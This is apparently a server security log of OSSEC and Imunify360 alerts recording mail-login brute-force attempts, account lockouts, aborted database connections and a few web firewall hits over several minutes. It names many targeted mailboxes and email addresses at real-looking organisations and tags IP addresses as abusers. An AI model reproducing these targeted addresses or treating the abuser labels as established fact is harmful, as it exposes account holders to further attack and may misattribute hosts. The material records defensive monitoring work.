plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:37:06 dovecot_login authenticator failed for H=(HxKP9zKUda) [185.36.81.54]:50762: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:37:18 dovecot_login authenticator failed for H=(Oson6vL) [178.16.54.22]:58318: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-01 05:37:56 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:58529: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:37:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:37:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:37:07 dovecot_login authenticator failed for H=(yWByZGWIE) [158.94.208.215]:61533: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:37:11 dovecot_login authenticator failed for H=(qNPZ89L1aH) [158.94.208.175]:54643: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:37:12 dovecot_login authenticator failed for H=(BJ3o8Zys) [45.94.31.131]:64909: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:37:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-02-01 05:37:26 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:60116: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:37:29 dovecot_login authenticator failed for H=(RDzby5) [141.98.11.11]:58722: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 05:38:46 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:36718: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:38:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58179: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:38:16 dovecot_login authenticator failed for H=(8SzuxA) [178.16.52.139]:51623: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.47
country_id: 2750405
description:
2026-02-01 05:38:56 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.47]:57830: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:38:04 dovecot_login authenticator failed for H=(AsTaLZYu) [178.16.54.22]:56796: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:38:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:38:21 dovecot_login authenticator failed for H=(NZjVA7Qbn) [158.94.208.175]:59801: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-02-01 05:38:26 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:53498: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:38:31 dovecot_login authenticator failed for H=(YwV3SBnXWU) [141.98.11.11]:51410: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 05:38:33 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:43518: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:38:05 dovecot_login authenticator failed for H=(GzTh6665) [185.36.81.54]:64446: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:38:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:38:11 dovecot_login authenticator failed for H=(RnNk6jW9) [45.94.31.131]:52793: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:38:19 dovecot_login authenticator failed for H=(DzQnD9OJ) [158.94.208.215]:63292: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-02-01 05:39:03 dovecot_login authenticator failed for H=([103.130.207.227]) [103.130.207.227]:58980: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 05:39:05 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:41729: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:39:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:39:07 dovecot_login authenticator failed for H=(1LSgKP) [158.94.208.215]:57694: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-02-01 05:39:13 dovecot_login authenticator failed for H=(inter-link.edu.my) [61.50.119.110]:49784: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 103.203.57.18
country_id: 1814991
description:
2026-02-01  5:39:15 204336 [Warning] Aborted connection 204336 to db: 'unconnected' user: 'unauthenticated' host: '103.203.57.18' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.67.45.29
country_id: 2661886
description:
2026-02-01 05:39:33 dovecot_plain authenticator failed for H=213-67-45-29-no600.tbcn.telia.com (perbaphely) [213.67.45.29]:50744: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:39:05 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49927: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:39:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63803: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:39:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:39:18 dovecot_login authenticator failed for H=(ZD1zaPl) [178.16.52.139]:49796: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-02-01 05:39:21 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:45586: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:39:26 dovecot_login authenticator failed for H=(af82SX) [185.36.81.54]:52624: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:39:28 dovecot_login authenticator failed for H=(fvjbuq1) [158.94.208.175]:56139: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.99.92.166
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/listing-details.php?id=54324787 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-02-01 05:39:42 H=([77.83.39.167]) [77.83.39.167]:57730 F=<stevenwelbou@op.pl> rejected RCPT <fkr@fkr.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:39:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:39:02 dovecot_login authenticator failed for H=(RWyPxySjh) [141.98.11.11]:59235: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:39:08 dovecot_login authenticator failed for H=(FgaZVF) [45.94.31.131]:56710: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:39:13 dovecot_login authenticator failed for H=(N66UKtd) [178.16.54.22]:61712: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 103.203.57.18
country_id: 1814991
description:
2026-02-01  5:39:18 204345 [Warning] Aborted connection 204345 to db: 'unconnected' user: 'unauthenticated' host: '103.203.57.18' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:39:57 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54910: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-01 05:41:00 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:18016: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.165.19
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:40:26 dovecot_login authenticator failed for H=(7Ch5Q7da) [141.98.11.11]:53174: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:40:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.178.82.215
country_id: 1814991
description:
2026-02-01 05:40:58 dovecot_login authenticator failed for H=([61.178.82.215]) [61.178.82.215]:50850: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:40:08 dovecot_login authenticator failed for H=(QLhxFV) [45.94.31.131]:62379: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:40:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:40:22 dovecot_login authenticator failed for H=(YtNI9yGfN) [178.16.54.22]:55989: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-02-01 05:40:56 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:49538: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:40:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52078: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:40:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:40:19 dovecot_login authenticator failed for H=(q2VKsF) [158.94.208.215]:55252: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:40:23 dovecot_login authenticator failed for H=(SoSdNNRk) [185.36.81.54]:61344: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 05:40:47 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:41774: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:40:36 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57209: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:40:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:40:13 dovecot_login authenticator failed for H=(rxhdP7) [178.16.52.139]:62658: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:40:14 dovecot_login authenticator failed for H=(NunylPwS) [158.94.208.175]:52071: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-01 05:40:22 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:38150: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:41:16 dovecot_login authenticator failed for H=(D8XtmN0QE) [178.16.52.139]:51188: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:41:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:41:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:41:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50465: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-01 05:41:35 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:35770: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 05:41:35 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:56396: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:41:09 dovecot_login authenticator failed for H=(qsvrn7) [45.94.31.131]:63091: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:41:06 dovecot_login authenticator failed for H=(oSEc9LNNRK) [141.98.11.11]:61511: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:41:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:41:26 dovecot_login authenticator failed for H=(5xksBcWTmf) [185.36.81.54]:50307: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:41:07 dovecot_login authenticator failed for H=(BzAPQLNa) [158.94.208.215]:54257: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:41:24 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61202: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:41:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.10.56.170
country_id: 732800
description:
2026-02-01 05:41:09 dovecot_login authenticator failed for H=46-10-56-170.ip.btc-net.bg [46.10.56.170]:52242: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.112.89.138
country_id: 6251999
description:
2026-02-01 05:41:53 dovecot_login authenticator failed for H=ipagstaticip-26846e71-b733-4d8b-bfa7-a49755089ffe.sdsl.bell.ca [142.112.89.138]:65072: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:41:08 dovecot_login authenticator failed for H=(tSHKJxDQ) [178.16.54.22]:52766: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:41:24 dovecot_login authenticator failed for H=(Bbi81k3d) [158.94.208.175]:62082: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.114.129.100
country_id: 2017370
description:
2026-02-01 05:41:32 dovecot_login authenticator failed for H=(host-194-114-129-100.bisv.ru) [194.114.129.100]:60198: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:41:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:42:12 dovecot_login authenticator failed for H=(PwxRkZ) [141.98.11.11]:50641: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:42:29 dovecot_login authenticator failed for H=(N3QOC03gwz) [185.36.81.54]:64708: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.36.14.91
country_id: 6252001
description:
2026-02-01 05:42:56 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [76.36.14.91]:60086: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 05:42:53 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:53690: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:42:10 dovecot_login authenticator failed for H=(QFuhBIOy) [158.94.208.175]:60404: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:42:16 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49537: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:42:17 dovecot_login authenticator failed for H=(nfBVR3zRPd) [178.16.54.22]:52896: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-01 05:42:32 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:48906: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:42:19 dovecot_login authenticator failed for H=(EzEAcieCm) [158.94.208.215]:61772: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
country_id: 1814991
description:
2026-02-01 05:42:56 dovecot_login authenticator failed for H=([222.92.61.242]) [222.92.61.242]:36834: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:42:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:42:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:42:11 dovecot_login authenticator failed for H=(qDhUtEU3r) [178.16.52.139]:52518: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:42:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:42:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:42:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:42:10 dovecot_login authenticator failed for H=(5AnKxUG) [45.94.31.131]:63761: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.177.53.161
country_id: 6252001
description:
2026-02-01 05:42:21 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [198.177.53.161]:21337: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:42:21 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49956: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.90.221.192
country_id: 286963
description:
2026-02-01 05:42:36 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [45.90.221.192]:44470: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.36.14.91
country_id: 6252001
description:
2026-02-01 05:43:04 dovecot_login authenticator failed for H=(WIN-BGU86CDI74S) [76.36.14.91]:60086: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 05:43:06 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:36176: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:43:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:43:19 dovecot_login authenticator failed for H=(PyPmu5E) [141.98.11.11]:65001: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 05:43:59 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:47854: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:43:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53168: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:43:08 dovecot_login authenticator failed for H=(ROki72CTKj) [45.94.31.131]:59748: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
